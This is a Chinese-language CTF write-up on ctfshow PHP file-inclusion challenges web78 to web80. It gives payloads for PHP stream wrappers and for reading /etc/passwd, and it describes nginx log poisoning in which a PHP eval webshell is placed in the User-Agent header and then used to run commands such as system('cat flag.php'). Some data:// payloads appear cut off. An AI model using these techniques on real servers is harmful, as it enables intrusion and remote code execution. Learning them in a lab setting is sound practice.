在这里我们从ctfshow做题网站中的文件包含进行分析,这些也是我从网上总结而来
web78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
一.与web37类似,可以使用data伪协议及php://filter协议
payload:
?file=data://text/plain,
?file=php://filter/convert.base64-encode/resource=flag.php
二.file:// 或 不使用协议
(将文件直接读入,无法进行编码,会被 php 执行)
包含一句话木马,实现代码执行来读取 flag。
访问url/?file=file:///var/log/nginx/access.log,来确定是否能读取 nginx 的日志。
确定可以访问 nginx 的日志后。使用Burp进行抓包,并修改 User-Agent 为
<?php @eval($_GET[code]);echo PHP_DATADIR;?>
再次访问url/?file=file:///var/log/nginx/access.log 即可查看 PHP 的执行路径。
访问url/?file=file:///var/log/nginx/access.log&code=system('cat flag.php'); ,查看源代码,即可得到flag
参考:
php文件包含-CTFshow-web78_ctf all info u want.php?file=../../../../../var/lo-CSDN博客
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
一.str_replace()函数
str_replace($search, $replace, $subject,$count);
$search表示要被替换的字符或字符串,$replace表示用来替换的字符或字符串,$subject表示待处理的原始字符串。该函数的返回值是经过替换后的字符串。需要注意的是,$search和$replace都可以是一个字符串或一个数组,$count表示替换的次数,也可以不写。
php被???代替,所以要尽可能避免使用关键字php,可以用短标签来代替。
?file=data://text/plain, 可以获取当前目录文件发现有一个flag.php
?file=data://text/plain, 即可读取flag.php的中的内容。
二.同web78
file:// 或 不使用协议
访问url/?file=file:///var/log/nginx/access.log,来确定是否能读取 nginx 的日志。
确定可以访问 nginx 的日志后。使用Burp进行抓包,并修改 User-Agent 为
再次访问url/?file=file:///var/log/nginx/access.log 即可查看 PHP 的执行路径。
访问url/?file=file:///var/log/nginx/access.log&code=system('cat flag.php'); ,查看源代码,即可得到flag
web80(ssrf漏洞)
不能使用php和data了,基本上不能使用php伪协议了
然后判断是否可以进行日志注入,判断的条件是是否可以进行ssrf漏洞
传参/etc/passwd,如果成功,则代表可以进行日志注入
访问成功
然后就是正式进入日志注入了。
首先说一下日志注入的原理,:日志文件贮存了客户端访问服务端的请求,也就是我们常说的url,所以我们可以通过在日志文件导入一句话木马来获得flag
不同的php服务器的日志文件的路径是不同的,判断服务器的方式就是一个一个试,不知道有没有更简单的方式。然后试出来是/var/log/nginx/access.log路径,是nginx系统
在文件头添加一句话木马
,最好的地方是在UA,因为这里放的是版本信息,添加其他东西的话影响不大。
添加一句话木马。
这里一句话木马已经上传了,所以我们可以直接只用系统命令了
因为这里是post传参啊,所以用的是a
这里还要知道的是我们访问的网页文件一般默认存放在/var/www/html
可以看到上面那个图片的最后的结尾处给出了两个文件fl0a.php和index.php
接下来我们访问fl0g.php即可
也可以上传完一句话木马后用蚁剑连接。
也可以直接命令执行即可也可以用webshell后门工具连接
?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();
?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();
查看nginx服务器日志通常路径
1./var/log/nginx/access.log
2./var/log/nginx/error.log
参考:
ctfshow-web80_ctfshow web80-CSDN博客
总结:
文件包含一种方法的解题思路:(在"."不被代替的情况下)
1.判断是否可以进行日志注入,判断的条件是是否可以进行ssrf漏洞传参
url/?file=/etc/passwd,如果成功,则代表可以进行日志注入
2.然后就是正式进入日志注入了。可以先尝试nginx系统:
url/?file=/var/log/nginx/access.log
3.抓包,在UA处添加一句话木马。
4.连接中国蚁剑,得到flag